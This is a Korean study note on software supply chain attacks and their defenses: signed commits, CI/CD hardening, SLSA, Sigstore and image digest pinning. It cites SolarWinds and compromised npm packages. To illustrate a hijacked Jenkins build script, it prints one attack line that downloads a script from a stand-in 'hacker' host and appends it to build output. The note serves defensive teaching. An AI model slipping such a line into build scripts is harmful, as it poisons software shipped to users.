520. 공급망 (Supply Chain) 공격 사례 및 서명된 커밋(Signed Commit), CI 파이프라인 보호

핵심 인사이트 (3줄 요약)

1. 본질: 공급망 공격(Supply Chain Attack)은 해커가 100중 방화벽이 쳐진 거대 IT 기업(타겟)을 정면 돌파하는 대신, 그 기업이 납품받아 쓰는 보안 소프트웨어나 오픈소스 라이브러리, 또는 개발자들의 자동 배포 공장(CI/CD 젠킨스)을 뒷구멍으로 털어 악성 백도어를 '합법적인 공식 업데이트'로 둔갑시켜 수만 개의 타겟 심장부에 무혈 입성하는 가장 악랄한 트로이 목마 전술이다.
2. 가치: 솔라윈즈(SolarWinds) 사태로 촉발된 국가 안보급 위협이다. "내가 짠 코드"가 완벽해도, 깃허브(Git)에 남의 이름으로 몰래 커밋을 섞거나 빌드 서버에서 .jar 파일 뱃속에 독을 타면 방어율은 0%로 추락한다. 이를 막아내어 소프트웨어 개발의 시작(타이핑)부터 끝(배포)까지 모든 과정의 순결함(Integrity)을 물리적, 수학적으로 보증하는 DevSecOps 최후의 보루다.
3. 융합: 소스코드가 "진짜 우리 개발자가 짠 게 맞다"고 보증하는 **서명된 커밋(GPG Signed Commit)**과, 빌드 깡통(도커 이미지)에 회사 인감을 찍어 배포하는 Notary(이미지 서명), 그리고 앞장(496번)에서 배운 **SBOM(자재 명세서)**이 한 덩어리로 융합되어, "도장 안 찍힌 파일은 K8s에 아예 못 띄운다"는 무결점 파이프라인 방어막을 완성한다.

Ⅰ. 개요 및 필요성 (Context & Necessity)

• 개념: 물건을 만들려면 공장(CI/CD 파이프라인)과 재료(오픈소스/외부 SW)가 필요하다. 해커가 이 공급망(Supply Chain)을 오염시킨다.

  • 1. 개발자가 치는 코드에 몰래 섞여 들어가기 (Git 털기).
  • 2. 젠킨스가 코드를 .jar 로 압축할 때 몰래 파일 껴넣기 (Build 서버 털기).
  • 3. 내가 쓰는 외부 오픈소스의 공식 업데이트 파일에 독을 발라두기 (Dependency 털기).

• 필요성: 2020년, 미국 국방부, 백악관, 마이크로소프트 등 천상계 방화벽을 두른 1만 개의 기관이 동시다발적으로 개털렸다. 원인은 그들이 100% 믿고 쓰는 '솔라윈즈(SolarWinds)'라는 네트워크 감시 소프트웨어의 "공식 업데이트 파일" 안에 러시아 해커가 심어둔 백도어가 섞여 있었기 때문이다. 해커는 솔라윈즈의 빌드 서버(공장)를 털어서 공식 인감도장을 찍어버렸다. 아무리 내 성벽을 100m로 쌓아도, 매일 성안으로 들어오는 식량 마차(공식 업데이트/오픈소스)에 독이 들었으면 성은 하루 만에 함락된다. 내가 통제할 수 없는 이 외부의 독을 걸러내기 위해 공급망 방어가 전 세계 1순위 안보 과제로 터져 올랐다.

• 💡 비유: 공급망 공격은 **'정수기 필터 납품업체 테러 사건'**과 똑같습니다. 아무리 철통 보안을 자랑하는 부자 동네라도 사람들은 정수기 물을 마십니다. 도둑은 부잣집 문을 뚫으려 낑낑대지 않습니다. 정수기 필터를 만드는 시골 공장(오픈소스/외부 SW) 하나를 몰래 뚫어서, 모든 필터 안에 '수면제(백도어)'를 1알씩 코팅해 둡니다. 이 필터들은 "식약처 공식 인증(합법적 업데이트)" 마크를 달고 부잣집에 예쁘게 배달됩니다. 부자들은 아무 의심 없이 꿀꺽 마시고 잠에 빠지며 저택의 모든 돈이 다 털립니다. 도둑은 부잣집 정문 근처에도 가지 않고 대성공을 거둡니다.

• 등장 배경 및 발전 과정:

  1. 오픈소스의 낭만 시대: 2000년대까진 남이 만든 코드를 묻지도 따지지도 않고 복붙해서 썼다(Frankenstein Code).
  2. 오픈소스 타이포스쿼팅 (2010년대): 해커가 NPM이나 Maven에 엄청 유명한 라이브러리(react-dom)와 헷갈리게 react-don 이라는 가짜 바이러스 코드를 올렸다. 개발자들이 오타를 쳐서 다운받는 순간 컴퓨터가 좀비가 되었다.
  3. 빌드 서버 장악의 대재앙 (2020~현재): 단순히 이름 속이기를 넘어, 아예 기업의 젠킨스(Jenkins)나 깃허브 액션(GitHub Actions) 권한을 탈취해, 정상 소스코드의 빌드 결과물(Artifact) 자체를 오염시키는 최악의 국가 스케일 공격(솔라윈즈, Kaseya 사태)으로 격상하며 미국 정부의 행정명령(SBOM 제출 의무화)을 끌어냈다.

• 📢 섹션 요약 비유: 옛날 해커는 성(회사)을 털기 위해 **'공성전(대포 쏘기)'**을 했습니다(디도스, SQL 인젝션). 너무 힘들었습니다. 요즘 해커는 성을 공격하지 않습니다. 성으로 배달 가는 **'야채 트럭(서드파티 소프트웨어) 짐칸'**에 몰래 타서 성 안으로 편안하게 하이패스로 들어갑니다. 아무리 성벽(방화벽)을 높여도 야채 트럭 검수(공급망 방어)를 안 하면 성은 무조건 무혈입성 당합니다.

Ⅱ. 아키텍처 및 핵심 원리 (Deep Dive)

1. 첫 번째 관문: 깃허브 오염 방지 (GPG Signed Commit)

"이 코드 내가 짠 거 맞아!"를 수학적으로 증명하지 못하면 깃허브는 쓰레기통이다.

• 문제: 깃(Git)은 태생적으로 멍청하다. 로컬 노트북 콘솔에서 git config user.email "ceo@google.com" 으로 세팅하고 커밋(Commit)하면, 깃허브 화면에는 진짜 구글 CEO가 짠 코드인 것처럼 예쁘게 프로필 사진과 함께 뜬다(신분 위장, Spoofing). 해커가 남의 이메일로 악성 코드를 커밋해서 Push 하면, 리뷰어들은 "어? 팀장님이 짠 코드네? 통과(Merge)!" 시켜버린다.
• 아키텍처 방어 (Signed Commit): 개발자의 로컬 노트북에 **GPG 개인키(Private Key)**를 심어둔다. 커밋을 칠 때마다 git commit -S 옵션으로 자신의 개인키 도장(암호학적 서명)을 쾅 찍는다. 깃허브 서버는 미리 받아둔 개발자의 '공개키(Public Key)'로 이 도장을 1초 만에 뜯어보고 "오! 진짜 이 노트북에서 철수 본인이 친 코드가 맞네!" 라며 초록색 Verified 마크를 달아준다. 아키텍트는 깃허브 브랜치 설정에 "Verified 안 된 커밋이 단 1개라도 섞여 있으면, 절대로 Master 브랜치로 Merge 불가!" 라는 사형 선고(Require signed commits)를 때려 박아 유령 커밋의 유입을 100% 물리적으로 차단해야 한다.

2. 두 번째 관문: 빌드 파이프라인 보호 (CI/CD Hardening)

젠킨스가 해커의 조종을 받으면 그 공장(회사)은 끝이다.

• 문제: 젠킨스 관리자 비번이 admin/1234로 뚫렸다. 해커가 Build.sh 쉘 스크립트 마지막 줄에 wget http://hacker/virus.js >> main.js 를 몰래 한 줄 끼워 넣었다. 개발자가 짠 순백의 코드는 젠킨스 배 속에서 섞이면서 바이러스 고기만두로 구워져 세상에 '공식 배포'되었다.

• 아키텍처 방어 (SLSA & 투명 빌드):

  1. 파이프라인의 IaC화: 젠킨스 파이프라인 룰 설정은 마우스로 UI에서 클릭하게 두면 절대 안 된다. Jenkinsfile 텍스트 코드로 짜서 Git에 박아두고, 수정 시 무조건 동료 2명의 승인(Approve)을 받게 하는 2-Man Rule을 융합한다.
  2. 일회용 무균 빌드(Ephemeral Environment): 빌드할 때마다 썼던 서버를 재활용하면 찌꺼기(악성코드)가 남는다. 무조건 1초 만에 새로운 도커 깡통을 띄워(Docker-in-Docker 등) 빌드하고, 산출물(.jar)을 뽑자마자 깡통을 허공에 펑 터뜨려 삭제해 버리는 '1회용 청정 공장' 룰을 뼈대에 이식한다.
  3. 산출물 전자 서명 (Code Signing/Notary): 젠킨스가 .jar를 뱉어내는 그 입구에서 회사의 마스터 개인키로 인감도장(서명)을 꽉 찍는다. K8s 운영 서버는 이 도장이 1바이트라도 깨진(무결성 훼손) 컨테이너는 부팅 자체를 거부한다.

• 📢 섹션 요약 비유: 이 과정은 **'한국은행의 지폐 인쇄 과정'**과 똑같습니다. 서명된 커밋은 잉크와 종이 납품업자의 **'지문 날인(신원 확인)'**입니다. CI 파이프라인 보호는 지폐를 찍는 기계에 쥐나 나쁜 놈이 몰래 못 들어오게 24시간 감시 카메라와 **'2인 동시 열쇠 조작(2-Man Rule)'**을 다는 것입니다. 마지막 전자 서명은 다 찍혀 나온 지폐에 한국은행 총재의 **'위조 방지 홀로그램 도장'**을 쾅 찍어 시장(운영 서버)에 유통하는 절대적 신뢰의 봉인입니다.

Ⅲ. 융합 비교 및 다각도 분석

1. 일반 해킹 (Application Attack) vs 공급망 해킹 (Supply Chain Attack)

왜 글로벌 기업들이 일반 해킹보다 공급망 해킹에 벌벌 떠는가? 파괴력의 차원이 다르다.

과목 융합 관점

• 소프트웨어 공학 (SCA & SBOM의 완벽한 융합 방패): 앞 장에서 배운 SCA(구성 분석 스캐너)와 SBOM(자재 명세서)은 바로 이 공급망 해킹을 잡으려고 하늘에서 내려온 동아줄이다. 젠킨스(CI)에서 컴파일하는 찰나의 순간, 내가 외부에서 긁어온 500개의 오픈소스 바코드를 싹 다 찍어 SBOM 영수증으로 뽑는다. 그리고 SCA 봇(Snyk)이 "삐용! 14번째 라이브러리(colors.js) 개발자가 빡쳐서 오늘 악성코드 심어서 배포했다(실제 사태)! 당장 빌드 중단!" 이라고 멱살을 잡고 파이프라인 컨베이어 벨트를 정지시켜, 독약이 묻은 외부 자재가 내부로 유입되는 것을 물리적으로 분쇄한다. (495, 496장 연계)

• 클라우드 / 컨테이너 (Sigstore와 Cosign의 서명 혁명): 도커 이미지를 젠킨스가 빌드했다. 이게 진짜 우리 회사에서 빌드한 건지 어떻게 증명할까? 옛날엔 비싼 공인인증서(PKI)를 사야 해서 귀찮았다. 구글과 리눅스 재단이 뭉쳐 **Sigstore(Cosign)**라는 미친 무료 혁명 툴을 내놨다. 젠킨스가 도커 이미지를 뽑아낼 때 cosign sign <image_id> 딱 1줄만 치면 클라우드에 1회용 투명한 전자 서명(OIDC 연동)이 콱 찍혀 블록체인 원장(Rekor)에 영구 박제된다. 쿠버네티스는 이 원장을 조회해 도장이 없는 쓰레기 컨테이너는 부팅 0.1초 컷으로 모가지를 썰어버리는 극강의 클라우드 네이티브 제로 트러스트 융합이 완성되었다.

• 📢 섹션 요약 비유: 일반 해킹이 **'은행 털이범'**이라면, 공급망 해킹은 **'조폐공사 인쇄기 해킹'**입니다. 은행을 털면 그 지점 돈만 없어지지만, 조폐공사 기계 자체를 조작해서 가짜 돈을 진짜 돈처럼 위조 방지 마크까지 찍어 전국 은행에 합법적으로 뿌려버리면 국가 경제가 무너집니다. 공급망 방어는 내 지갑을 지키는 게 아니라, 내가 쓰는 돈이 조폐공사에서 올바르게 찍혀 온 진짜 지폐가 맞는지 자외선 감별기(SCA, 서명)로 한 장 한 장 검수하는 우주적 스케일의 방어전입니다.

Ⅳ. 실무 적용 및 기술사적 판단

실무 시나리오

1. 시나리오 — 오픈소스 기여자(Contributor) 계정 탈취가 낳은 NPM 독극물 유포: 자바스크립트 생태계의 비극. 전 세계 100만 명이 쓰는 ua-parser-js 라이브러리의 핵심 개발자가 노트북 비밀번호를 대충 써서 해커에게 깃허브 계정이 털렸다(2FA 미적용). 해커는 그 개발자의 이름으로 로그인해, 몰래 비트코인 채굴기 악성 코드를 심고 버전을 올려 NPM 스토어에 공식 배포했다. 다음 날 아침, 이 라이브러리를 쓰는 전 세계 페이스북, 아마존 등 대기업들의 CI/CD 파이프라인이 npm install을 치면서 이 독극물을 싹 다 빨아먹었고 수십만 대의 서버가 좀비 채굴기로 전락했다.

   • 아키텍트의 해결책: 개발 생태계 권한 증명(Identity Authentication)의 파괴다. 아키텍트는 "유명한 라이브러리니까 무조건 최신 버전(latest)으로 땡겨오자!"는 무지성 npm install의 목을 쳐야 한다. 1) 패키지 버전(Version)을 ^1.2.3 (자동 업데이트 허용)처럼 쓰지 말고, 무조건 1.2.3 으로 고정(Pinning)하거나 락 파일(package-lock.json)의 해시값 검증을 강제해야 한다. 2) 사내 프라이빗 넥서스(Nexus) 프록시를 두고, **"방금 올라온 최신 버전은 무조건 1주일 대기 타면서 남들이 맞고 터지는지(CVE 뜨는지) 지켜본 뒤, 안전함이 증명되면 수동으로 사내망에 풀어주는 격리 댐(Delay Policy) 아키텍처"**를 세워야 퍼블릭 똥물에 휩쓸려 죽지 않는다.

2. 시나리오 — 젠킨스(Jenkins) 시크릿 유출과 하드코딩의 참사: 개발 편의를 위한다며 젠킨스 서버 환경변수에 AWS 운영 서버 접속 마스터 키(Access Key)와 라이브 DB 비밀번호를 대놓고 평문으로 꽂아 넣었다. 어느 날, 회사의 허접한 테스트용 웹 페이지 하나가 해킹(디렉토리 탐색) 당했다. 해커는 사내망 젠킨스 서버로 접근해 빌드 스크립트 설정 창을 열어봤고, 그곳에 예쁘게 적혀있는 전사 마스터 키를 1초 만에 복사해 갔다. 파이프라인(공장) 자체가 털리자 회사의 AWS 인프라는 그날 밤 완전히 포맷(삭제)되었다.

   • 아키텍트의 해결책: CI/CD 인프라 권한 통제(Secret Management)의 절대적 실패다. 젠킨스는 전지전능한 신(God)의 권한을 가진다. 아키텍트는 젠킨스를 100% 빈 깡통으로 만들어야 한다. 젠킨스 안에는 어떤 시크릿 키도 없어야 하며, 배포(CD)를 치는 찰나의 순간에 **HashiCorp Vault나 AWS Secrets Manager (514장 연계)**에 1회용 토큰을 들고 다녀와서 메모리에만 살짝 올려 배포를 끝내고 0.1초 만에 잊어버리는 무상태(Stateless) 시크릿 파이프라인을 강제 융합해야 공장이 털려도 회사가 망하지 않는다.

도입 체크리스트

• 조직적: 깃허브 2FA(다중 인증) 및 서명된 커밋(Signed Commit)을 100% 강제하는가? 우리 팀 개발자가 훌륭해도 집에서 쓰는 노트북이 털리면 끝이다. 아키텍트는 깃허브 오거나이제이션(Organization) 설정에서 "2FA(OTP) 안 켠 놈은 소스코드 접근 금지!", "GPG 서명(Signed) 없는 커밋은 Master 브랜치로 절대 Merge 불가!" 옵션을 클릭 한 방으로 켜버려야 한다. 주니어들이 귀찮다고 반발해도 절대 굽히면 안 되는 '신원 증명의 마지노선'이다.
• 기술적: 빌드 서버의 에그레스(Egress, 아웃바운드) 트래픽 방화벽이 닫혀 있는가? 젠킨스 빌드 깡통 안에서 해커의 스크립트가 실행되었다 쳐보자. 해커의 목표는 사내 소스코드를 압축해서 밖(해커 서버)으로 빼돌리거나(Exfiltration), 외부에서 랜섬웨어 파일을 다운받는 것이다. 아키텍트는 젠킨스 도커 컨테이너가 밖으로 쏘는(Outbound) 통신망을 다 끊어버리고, 오직 '사내 넥서스(Nexus) 서버'나 '허락된 AWS S3' 딱 2군데만 핑이 나가게 철통같은 Zero-Trust 네트워크 격리 룰을 씌워놔야 해커가 젠킨스 뱃속에 들어와도 굶어 죽는다.

안티패턴

• "태그(Tag)만 믿고 도커 이미지 다운받기" (latest의 재앙): K8s deployment.yaml 파일에 image: nginx:latest 나 nginx:v1.2 라고 태그 글자만 띡 적어두는 낭만적 안티패턴. 도커 허브의 해커(또는 나쁜 맘을 먹은 관리자)가 어제 올려둔 v1.2 이미지를 몰래 지우고, 똑같은 v1.2 이름표(Tag)를 붙인 바이러스 감염 이미지를 오늘 몰래 덮어쓰기(Overwrite) 해버리면? 우리 K8s는 아무 의심 없이 썩은 이미지를 당겨와서 부팅한다. "절대로 텍스트 태그(Tag)를 믿지 마라. 무조건 영원히 변하지 않는 고유한 수학적 해시값(SHA-256 Digest, 예: nginx@sha256:8f4...)을 코드에 하드코딩해서 멱살 잡고 땡겨와야(Immutable Image Pull) 공급망 바꿔치기를 무력화할 수 있다."

• 📢 섹션 요약 비유: 태그(Tag)만 보고 이미지를 다운받는 것은, **'문 앞에 서 있는 사람의 이름표(나 김철수야)만 보고 문을 열어주는 짓'**과 같습니다. 도둑이 김철수 이름표를 훔쳐 달고 오면 끝입니다. 해시(SHA-256 Digest)로 다운받는 것은 '그 사람의 DNA와 지문 구조 전체 100%를 대조해 보고 단 1픽셀도 다르면 즉시 총살시켜 버리는' 완벽한 무결성 컷오프(Cut-off)입니다.

Ⅴ. 기대효과 및 결론

정량/정성 기대효과

미래 전망

• 구글 SLSA(Supply-chain Levels for Software Artifacts)의 절대 법전화: 공급망이 너무 털리자 구글이 주도하여 "소스코드 짤 때, 빌드할 때, 배포할 때 지켜야 할 위생 점수표"인 SLSA 프레임워크를 발표했다. 미래엔 당신 회사가 앱을 팔려면 "우린 SLSA Level 3 등급 인증서 땄음!"을 증명해야 한다. 빌드가 1회용 환경(Ephemeral)에서 돌아갔는지, 빌드 과정이 투명하게 서명(Provenance)되었는지 기계가 채점하는 시스템이 글로벌 공공기관/금융권 납품의 1차 바리케이드 헌법으로 완벽히 굳어질 것이다.
• 오픈소스 생태계의 철권통치 시대: 그동안 "오픈소스는 공짜니까 책임 안 져요~" 하던 무법지대였다. 하지만 솔라윈즈와 Log4j 사태로 전 세계 경제가 마비되는 걸 본 각국 정부(미국, EU)가 사이버 보안법(Cyber Resilience Act)을 때려 박았다. 앞으로는 허접한 오픈소스를 보안 검수 없이 가져다 상용 제품에 섞어 팔다 털리면, 해커가 아니라 '가져다 쓴 회사(제조사)'에게 과징금 100억 원의 철퇴를 내리꽂는 '최종 조립자 무한 책임주의' 시대가 도래하여 아키텍트들의 어깨를 피 터지게 짓누르고 있다.

참고 표준

• SLSA (Supply-chain Levels for Software Artifacts): "공급망 보안 어떻게 해?"라는 질문에 구글이 숟가락으로 입에 떠먹여 주다 못해 멱살을 잡고 4단계 레벨로 강제시킨 완벽한 빌드 파이프라인 굳히기(Hardening) 바이블.
• Sigstore (Cosign, Fulcio, Rekor): 리눅스 재단과 구글이 합작해 만든 무료 전자서명 프로젝트. "인증서 사기 비싸고 귀찮아서 서명 안 한다고? 그럼 구글 아이디로 1초 만에 공짜로 서명하게 해줄게!" 라며 전 세계 도커 이미지 서명판을 천하통일하고 있는 클라우드 네이티브의 절대 인프라.

공급망 공격(Supply Chain Attack) 방어와 CI 파이프라인 보호는 소프트웨어 공학이 "내가 통제할 수 있는 내 집(코드)"의 범위를 벗어나, "우리가 마시는 물의 상류(오픈소스 생태계)와 물을 긷는 파이프(젠킨스 공장) 전체의 수질(무결성)"을 의심하고 멸균해야만 하는 거대한 우주적 통제권의 확장이다. 아키텍트는 "내 코드는 완벽하다"는 자만심을 쓰레기통에 버려야 한다. 아무리 화려한 로직(기능)과 방탄조끼(시큐어 코딩)를 짜봤자, 그 조끼를 짜는 재봉틀(빌드 서버)에 해커가 독바늘을 꽂아놓았거나, 옷감(라이브러리) 자체가 방사능에 오염된 쓰레기라면 완성된 옷을 입는 순간 100만 명의 고객이 즉사한다. 개발자의 손가락(타이핑)부터 젠킨스의 컴파일, 도커의 압축, 그리고 쿠버네티스의 런타임 부팅에 이르기까지 그 1분 1초의 틈새마다 수학적 인감도장(GPG, Sigstore)을 빈틈없이 꽉꽉 찍어 눌러, 단 1비트의 낯선 찌꺼기조차 파이프라인의 강을 건너지 못하게 썰어버리는 극강의 폐쇄주의 팩토리(Factory). 그것만이 피비린내 나는 현대 클라우드 전쟁터에서 당신의 회사를 존속시킬 유일한 철혈의 요새다.

• 📢 섹션 요약 비유: 공급망 보안의 파이프라인 방어는, **'국가 원수(대통령)의 밥상(시스템)을 차리는 독극물 검수 시스템'**과 똑같습니다. 과거엔 요리사(개발자)가 주방에서 요리한 것만 믿고 먹었습니다(일반 해킹 방어). 공급망 방어는 시장에서 당근(오픈소스)을 살 때부터 원산지 영수증(SBOM)을 까보고, 요리하는 주방(CI 빌드 서버)에 암살자가 못 들어오게 24시간 문을 잠그고 감시하며(파이프라인 격리), 완성된 요리를 왕에게 들고 갈 때 뚜껑에 뜯으면 부서지는 밀랍 도장(이미지 서명)을 쾅 찍어, 도중에 궁녀(해커)가 뚜껑을 열고 독(백도어)을 타면 왕이 1초 만에 "도장이 깨졌구나! 밥상 엎어라(빌드 Fail)!"라고 소리칠 수 있게 만드는 완벽한 생명 연장의 호위술입니다.

📌 관련 개념 맵 (Knowledge Graph)

👶 어린이를 위한 3줄 비유 설명

1. 내가 레고 성을 만들려고 공장(빌드 서버)에 들어갔어요. 그런데 나쁜 도둑(해커)이 공장 창문에 몰래 기어 들어와서, 내가 찰 조립 블록 안에 **'시한폭탄 블록'**을 똑같이 생긴 모양으로 몰래 섞어 놨어요!
2. 나는 내 블록인 줄 알고 성을 지었는데, 다음 날 폭탄이 터져서 성이 와르르 무너졌죠(공급망 공격 대참사)!
3. 너무 화가 난 나는 공장 문을 3중 자물쇠로 잠그고(CI 보호), 내가 만진 블록에만 '내 지문(서명된 커밋)'을 꾹 눌러 찍어놨어요. 나중에 조립할 땐 내 지문이 없는 이상한 폭탄 블록은 1초 만에 툭 던져버리는 멋진 방어법을 **'공급망 방어'**라고 한답니다!